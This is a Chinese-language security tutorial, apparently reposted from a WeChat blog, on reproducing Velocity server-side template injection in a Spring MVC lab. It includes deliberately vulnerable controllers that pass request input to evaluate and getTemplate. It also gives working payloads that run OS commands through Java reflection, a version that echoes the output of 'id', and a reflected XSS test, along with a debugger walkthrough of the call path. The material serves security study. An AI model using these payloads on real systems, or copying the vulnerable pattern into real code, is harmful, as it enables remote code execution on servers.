Velocity的SSTI复现与分析

admin 2024年10月21日23:42:16评论23 views字数 12583阅读41分56秒阅读模式

前言

前面我们分析过了Thymeleaf的模板注入,我们今天继续来看另外一个模板注入。

Apache Velocity是一个基于Java的Web页面模版引擎,够帮我们实现页面静态化,同时它将Java代码与网页分开,并为Java Server Pages(JSP)提供了可行的替代方案。下面我们就从零开始学习复现Velocity模板注入,触发的方法主要是两种,分别使用了evaluate和merge;使用的是Spring MVC框架来整合的Velocity模板。Velocity模板也算是比较老了,目前已经逐渐被取代。

声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

环境搭建

velocity官网:https://velocity.apache.org/

注意⚠️:

  • Spring4.3之后不再直接支持velocity
  • Spring Boot 在 2.4 版本之后不再直接支持 Velocity 模板引擎

所以需要使用springmvc或者springboot框架来构建复现的时候需要注意版本号;这里我使用的spirngmvc来进行复现。

Velocity的SSTI复现与分析

创建完毕之后,自行添加Java目录和resources目录。

在resources目录里面创建;springmvc.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xmlns:mvc="http://www.springframework.org/schema/mvc"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
           http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
           http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd"
>


    <!-- 启用注解驱动 -->
    <mvc:annotation-driven/>

    <!-- 其他配置,如扫描Controller包、静态资源等 -->
    <context:component-scan base-package="com.garck3h"></context:component-scan>

    <!-- 配置Velocity视图解析器 -->
    <bean id="velocityConfig" class="org.springframework.web.servlet.view.velocity.VelocityConfigurer">
        <property name="resourceLoaderPath" value="/WEB-INF/views/" />
    </bean>

    <bean id="viewResolver" class="org.springframework.web.servlet.view.velocity.VelocityViewResolver">
        <property name="cache" value="true" />
        <property name="prefix" value="" />
        <property name="suffix" value=".vm" />
    </bean>
</beans>

在web.xml里面配置

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >


<web-app>
  <display-name>Archetype Created Web Application</display-name>

  <servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:springmvc.xml</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>
</web-app>

完整的pom.xml如下:

<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

  <modelVersion>4.0.0</modelVersion>

  <groupId>org.example</groupId>
  <artifactId>Velocity_SSTI</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>war</packaging>

  <name>Velocity_SSTI Maven Webapp</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>

  <dependencies>
    <!-- Spring MVC依赖 -->
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-context-support</artifactId>
      <version>4.1.5.RELEASE</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>4.1.5.RELEASE</version>
    </dependency>
    <!-- velocity依赖 -->
    <dependency>
      <groupId>org.apache.velocity</groupId>
      <artifactId>velocity</artifactId>
      <version>1.7</version>
    </dependency>
    <dependency>
      <groupId>org.apache.tomcat.embed</groupId>
      <artifactId>tomcat-embed-core</artifactId>
      <version>9.0.73</version>
    </dependency>
  </dependencies>

  <build>
    <finalName>Velocity_SSTI</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

在WEB-INF里面创建一个文件夹views,再在views文件夹中创建一个模板文件:hello.vm

<html>
<head>
    <title>Hello</title>
</head>
<body>
<h1>Hello, $name </h1>
</body>
</html>

Velocity的SSTI复现与分析

创建一个controller包之后创建一个controller控制器:MyController.java

package com.garck3h.controller;
/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/6/25 2:30 下午
* Life is endless, and there is no end to it.
**/

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class MyController {

    @RequestMapping("/hello")
    public String demo(Model model) {
        // 向模板中添加数据
        model.addAttribute("name", "Hello, Velocity!");

        // 返回Velocity模板路径
        return "hello";
    }
}

Velocity的SSTI复现与分析

启动tomcat进行访问:http://192.168.108.154:8090/hello

Velocity的SSTI复现与分析

常用语法

  • 输出变量;在模板中,$name表示一个变量,当模板被渲染时,变量会被替换为具体的值。
Welcome $name!
  • 条件判断:使用#if、#else和#end语句可以进行条件判断,根据条件的真假来执行不同的操作。
#if($age >= 18)
    You are an adult.
#else
    You are a minor.
#end
  • 迭代循环:通过#foreach语句可以对集合进行迭代循环,并在每次循环中使用$item表示当前迭代的元素。
#foreach($item in $items)
    $item
#end
  • 导入外部包:使用#import语句可以导入外部Java类,以便在模板中使用其方法和属性。
#import("com.example.MyClass")
  • 字符串拼接:可以使用#set指令将字符串赋值给变量,并通过直接引用变量进行字符串拼接。
#set($firstName = "John")
#set($lastName = "Doe")
$firstName $lastName

  • 访问对象属性:
<p>Name: $person.name</p>
<p>Age: $person.age</p>
  • 调用静态方法:假设存在一个名为mathUtil的Java类,其中有一个静态方法add(a, b),则可以通过$mathUtil.add(5, 3)来调用该静态方法并将结果赋值给变量。
#set($result = $mathUtil.add(5, 3))
Result: $result

漏洞分析

evaluate触发

evaluate方法使用VelocityEngine的evaluate方法来执行Velocity模板的评估。用户输入通过HttpServletRequest对象获取,并放入VelocityContext中进行渲染。

我们分别创建一个Controller和一个evaluate.vm(WEB-INF/views/evaluate.vm)模板文件

VelocityInjectionController.java

package com.garck3h.controller;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;

@Controller
public class VelocityInjectionController {
    @RequestMapping("/evaluate")
    public ModelAndView evaluate(HttpServletRequest request, HttpServletResponse response) throws IOException {
        // 从请求参数中获取模板值
        String template = request.getParameter("template");

        // 动态创建Velocity上下文并设置参数
        VelocityContext context = new VelocityContext();
        context.put("params", request.getParameterMap());

        // 创建VelocityEngine实例
        VelocityEngine engine = new VelocityEngine();
        // 创建StringWriter对象,用于保存模板合并的结果
        StringWriter sw = new StringWriter();
        // 对模板进行合并,并将结果写入StringWriter对象中
        engine.evaluate(context, sw, "TemplateInjectionTest", template);

        // 创建ModelAndView对象,指定视图名为"evaluate"
        ModelAndView modelAndView = new ModelAndView("evaluate");
        // 将模板合并的结果作为属性添加到ModelAndView对象中
        modelAndView.addObject("evaluate", sw.toString());
        // 返回ModelAndView对象
        return modelAndView;
    }
}

evaluate.vm

<html>
<head>
    <title>Welcome</title>
</head>
<body>
<h1>Hello, $evaluate</h1>
</body>
</html>

启动之后我们在浏览器进行访问,并且给template进行传参

Velocity的SSTI复现与分析

当我输入如下的payload,即可执行命令弹计算器。

http://192.168.1.7:8090/evaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22calc%22)

http://192.168.1.7:8090/evaluate?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)

payload分析:

#set($e="e"):定义了一个Velocity变量$e,并赋值为字符串"e"。
$e.getClass():获取变量$e的运行时类。
.forName("java.lang.Runtime"):通过反射加载java.lang.Runtime类。
.getMethod("getRuntime", null):使用反射获取Runtime类的getRuntime方法,该方法返回Runtime类的实例。
.invoke(null, null):使用反射调用getRuntime方法,参数为null,因为该方法不接受任何参数。这将返回Runtime类的实例。
.exec("open -a calculator"):使用Runtime类的实例的exec方法执行操作系统命令。在这里,命令是open -a calculator,即打开Mac的计算器

Velocity的SSTI复现与分析

当执行来到engine.evaluate;我们跟进去,直接就看到了RuntimeInstance.evaluate;最后会调用 render 方法将解析后的内容渲染到 writer 中,并返回渲染结果。

Velocity的SSTI复现与分析

我们跟进到render;这里主要实现的是将解析后的节点树渲染到指定的写入器中。

首先在634行调用 nodeTree.init对节点树进行初始化。接着调用 nodeTree.render将节点树渲染到写入器中。

Velocity的SSTI复现与分析

我们跟进去到render。这里主要实现的是获取节点树的子节点数量,并使用 for 循环遍历所有子节点。通过 jjtGetChild(i) 方法获取第 i 个子节点,并调用其 render 方法来渲染子节点内容到指定的写入器中。

Velocity的SSTI复现与分析

继续跟进jjtGetChild(i).render;最后来到了ASTReference.render.

先判断this.referenceType 的值是否为 4;然后判断this.escaped 的值为false

Velocity的SSTI复现与分析

继续跟进来之后,就到了ASTMethod.execute。这里接受一个 Object 对象和一个 InternalContextAdapter 对象作为参数。我们直接看到

64行调用 method.invoke(o, params) 方法执行方法调用,并将结果存储在 obj 变量中。

Velocity的SSTI复现与分析

跟进去查看invoke;判断方法是否为可变参数方法,如果是就进行一系列操作。最后调用doInvoke方法执行实际的方法调用,并返回结果。

而doInvoke方法,正是下面的doInvoke方法

Velocity的SSTI复现与分析

即最后调用的是Java反射里面的invoke,进行执行

Velocity的SSTI复现与分析

Velocity的SSTI复现与分析

思考了一下,也可能存在XSS,于是反射的XSS尝试

http://192.168.51.154:8090/evaluate?template=<script>alert('XSS')</script>

Velocity的SSTI复现与分析

merge触发

merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。

创建一个servlet

package com.garck3h.controller;

import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.runtime.RuntimeConstants;
import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.StringWriter;

@Controller
public class VelocityInjectionController {
    @RequestMapping("/merge")
   public ModelAndView merge(HttpServletRequest request, HttpServletResponse response) throws Exception {
        // 从请求参数中获取模板值
        String template = request.getParameter("template");

        // 从classpath中加载Velocity模板
        VelocityEngine engine = new VelocityEngine();
        engine.setProperty(RuntimeConstants.RESOURCE_LOADER, "classpath");
        engine.setProperty("classpath.resource.loader.class", ClasspathResourceLoader.class.getName());
        engine.init();

        // 动态创建Velocity上下文并设置参数
        VelocityContext context = new VelocityContext();
        context.put("params", request.getParameterMap());

        // 进行模板合并
        Template tpl = engine.getTemplate(template);
        StringWriter sw = new StringWriter();
        tpl.merge(context, sw);

        // 创建ModelAndView对象,指定视图名为"hello"
        ModelAndView modelAndView = new ModelAndView("hello");
        // 将模板合并的结果作为属性添加到ModelAndView对象中
        modelAndView.addObject("hello", sw.toString());
        // 返回ModelAndView对象
        return modelAndView;
    }
}

Velocity的SSTI复现与分析

当我们能上传或者更改vm的时候,我们插入一下的内容到vm模板中

再在resources/templates中新建一个模板:merge.vm

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")

Velocity的SSTI复现与分析

启动项目之后进行访问即可执行模板里面的代码,当然这个${name}是我hello模板里面的内容。

http://192.168.51.154:8090/merge?template=/templates/merge.vm

Velocity的SSTI复现与分析

有回显示的payload

#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

payload解释

rt = java.lang.Runtime.class
chr = java.lang.String
ex = java.lang.Runtime.getRuntime().exec("id")
ex.waitFor()
// 循环读取输出

在win上测试ipconfig成功

Velocity的SSTI复现与分析

总结

  • 因为Spring框架版本的问题,高版本不能直接整合Velocity模板,一直报错踩坑
  • Velocity模板目前也逐渐被其它模板引擎替代,如:Thymeleaf

原文始发于微信公众号(pentest):Velocity的SSTI复现与分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日23:42:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Velocity的SSTI复现与分析https://cn-sec.com/archives/1949321.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息